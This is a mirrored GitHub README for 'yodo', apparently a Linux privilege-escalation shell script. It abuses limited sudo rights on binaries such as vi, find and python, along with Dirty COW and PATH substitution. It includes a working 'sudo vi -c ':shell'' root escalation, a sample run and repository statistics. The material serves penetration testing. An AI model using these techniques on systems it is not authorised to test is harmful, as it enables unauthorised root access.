yodo

Local Privilege Escalation

Github stars Tracking Chart

yodo

This tool proves how easy it is to become root via limited sudo permissions, via dirty COW or using Pa(th)zuzu.

dirty COW : exploits a race condition in the implementation of the copy-on-write mechanism
Link : https://dirtycow.ninja

Pa(th)zuzu : Checks for PATH substitution vulnerabilities, logs the commands executed by the vulnerable executables and injects commands with the permissions of the owner of the process (SUID)
Link : https://github.com/ShotokanZH/Pa-th-zuzu

Extra features

VSP : checks if the user is able to overwrite a sudo-enabled command with his own

History : checks for * history (like bash_history) files. You could be lucky!

b3 : tries to substitute commands that has root privileges [sudo -l >>> User may run the following commands ... (root) NOPASSWD: /path/to/script]

Example:
If a user has sudo privileges only on vi, he could become root by runnuing this command: sudo vi -c ':shell'

b3rito@victim ~/Desktop $ sudo vi -c ':shell'
[sudo] password for b3rito:
victim Desktop # whoami
root

Author

Written by b3rito at mes3hacklab

Installation

chmod +x yodo.sh

Usage

./yodo.sh

b3rito@victim ~/Desktop $ ./yodo.sh
=======================================================================                                                       
                                ....                         
                            ..  .77.                        
                            Z.  ,77?                        
                           .Z$.....,?+?.       
                   ....     $?Z.77+??I..            
                   .7I.  .....~.77:=I..Z.....      
                   .77?  ..7?.?.=7....ZO..~..            
               ..  ..7$7.=7I$.??+.$$~.==.??..    .~..  
              .$Z$..Z...77.$7..+=?,.I?=.++.+~....?7... ..  
               ..?.I7:..77....$$IO++??=...7$.Z$..7$?..7$  
               .77.+:$?7..Z$.?,.~M,?,..77. .ZZ...,,.$77.. 
          ..$=. +7$7...77+$I? ???M.$.I:~I?..,$..7$.Z7=.   
          ..Z7Z.=..~,.....,=O...~MI=~=...O$.~...?7..:$7I. 
          ...Z.Z.?I?.=:.??...??..M.ZZ.. ,.~Z$I,.,7...I.,....   
          ..,......:.~~.?.?+..?~7M..,?...==.~7..:.Z$+.. ....
            .?7..??,...Z.=?:.I7..M. D$Z?$+=.:... +Z+,....77.....
      .$~...:+O7$.+I+$=~:.=...7,:M.M~7 ..Z$..+~:?...7?$.?$~.OZZ$Z...
      ..$I7=?I?,..7?$$M..=:..?...MM.7$,.7...:??....,7I...?..Z$Z$$$.
      ...,=~.?.+.7.....8.$...?,+~MD+I...$7.I.O$Z$.. D8..I=$:$,....
        .$~+$....7Z.$$$7M.?+=$..,M8 .Z.I., M,ZZZ.MM..7+?+77..7..
          .. ...$.MM.....MZ$~Z:Z,MM.O$,$7,MZ .NMM.~77.+?+.7...
             I7~Z....MM .M7Z....?MMO,Z..$.M 8MM ..=77I=~?..I~.
        .$7I7?.+...$...:MMM. .$=OMM?Z,,..MMMMMMMMMMMMMI..=Z$+...
        ..?7I$$I.+.O:Z,=.8MN.$??MMM..$7.MMM...Z.$.+,?.Z.Z=..$77$..
               ...?OMMMMMMDMM7$IMMM ..MMM..,$7.Z$Z..??I$,Z.?I...
               7?:++.??=...~8D..MMM MMMM.???.$...~$.....$Z..7$.. 
               .....??,::Z$::MM.MMMMMM,,=II?II,.....   ...... ..
                    ,...?:...IOOO8OO8 ?I,:        ,.     
                        .     88OOOO. :.                 
                       .:,,,:,.8OOOO :.                  
                       .,....,. OO8M:.. :.               
                        ..... . 8OMN.:.                  
                               .ONM8::.                  
                :8MDO  8MDO   :8MDO,    DMO8M       :8MDO, 
                  DMO  DMO  .+8D   MO,  DMO  8M   .+8D   MO,
                    O  O    $O     OMM  DMO   8M  $O     OMM 
                  :8MDO    .OO     O8   DMO  8M  .OO     O8M,
                  DMO         .8°O88    DMO8M       .8°O88
                              .8OOOO. .           :.       
                   ...         OOOOO,.                       
    ..  . ......    .........,.MMMMMMI.,........... .       
      .     .. ,INMMMMMMMMMMMMMMMMMMIZMMMMMMMN7=..... . . .  ..
             .  =. ......~?ZMMMIM.MM NMMN...   .......=+ . .  
             .  .. .  .$...MM,.MM ..MD....MMMMO... .. ..,..~ 
             ,     .   . :MM.  MM  .ZMM?.. .$M...7MD77ZD+.,. 
          .    .  :=D7Z8MM.   .M:   .. .MD.. .7D~. ..,.O. .. 
          .. $..=.    ?M?. .. .M.  ..M...IMM  .,..M ..   ..:.. 
          . ..... . .MM.Z   D ,M+. . :+..M. N+ . . ..? . .... 
                   .M7=.+.=.~.:MM.    .  , . .M..   .  ,.  
                  .N?.8. ~  ..,M 8. ... . M. . M.      . . .  
              . ..NM .$..    .MM...  .    ,+.:: 8 .         
             . =M.M ..?..    ..M  M .   . .M .I,.M.       
        ,~~  .   .I...8..    M M  .8,.     Z.... b3    
           .     +.   +. .. : .M....O.    ...  . D.=.   
                 O.  .~,    $. 8     .    .~.  ..+ .   
                 8.   ...   M. ,..   , +   .I.. .,..7  
                 O.    .    I   I     ..  .   .  .... 
                 +.      .  :  .M.                   
                  .         .   M                  
                 ..         .   ..                
                 .          .                    
                  ~.             N.                                         
=======================================================================
Possible options (‡ excluded):
 [·] find
 [·] vi
 [·] b3

 Select From the menu:

   1) Find                8) Man  *               17) Pathzuzu °‡
   2) AWK                10) Dirty COW °‡         18) History °‡
   3) Nmap               11) Gdb                  19) Vim
   4) Vi                 12) Ruby                 20) Lua
   5) Python             13) b3                   21) Ftp *
   6) Irb                14) Perl                 22) Credits
   7) Less *             15) Tee                  23) Update
   8) More *             16) VSP °‡               99) Exit
     
 VSP = Vulnerable Script Permissions
 Pathzuzu = SUID exploitation through Path vulnerability
 b3 = editable root privileged commands listed in 'sudo -l'
 * user interatcion
 ° sudo not required
Enter Number: 1
[sudo] password for b3rito:
victim Desktop # whoami
root
victim Desktop #

Main metrics

Overview
Name With Ownerb3rito/yodo
Primary LanguageShell
Program languageShell (Language Count: 1)
Platform
License:GNU General Public License v3.0
所有者活动
Created At2016-11-13 21:02:03
Pushed At2017-02-28 15:38:13
Last Commit At2017-02-28 16:38:13
Release Count0
用户参与
Stargazers Count206
Watchers Count10
Fork Count23
Commits Count31
Has Issues Enabled
Issues Count2
Issue Open Count0
Pull Requests Count1
Pull Requests Open Count0
Pull Requests Close Count0
项目设置
Has Wiki Enabled
Is Archived
Is Fork
Is Locked
Is Mirror
Is Private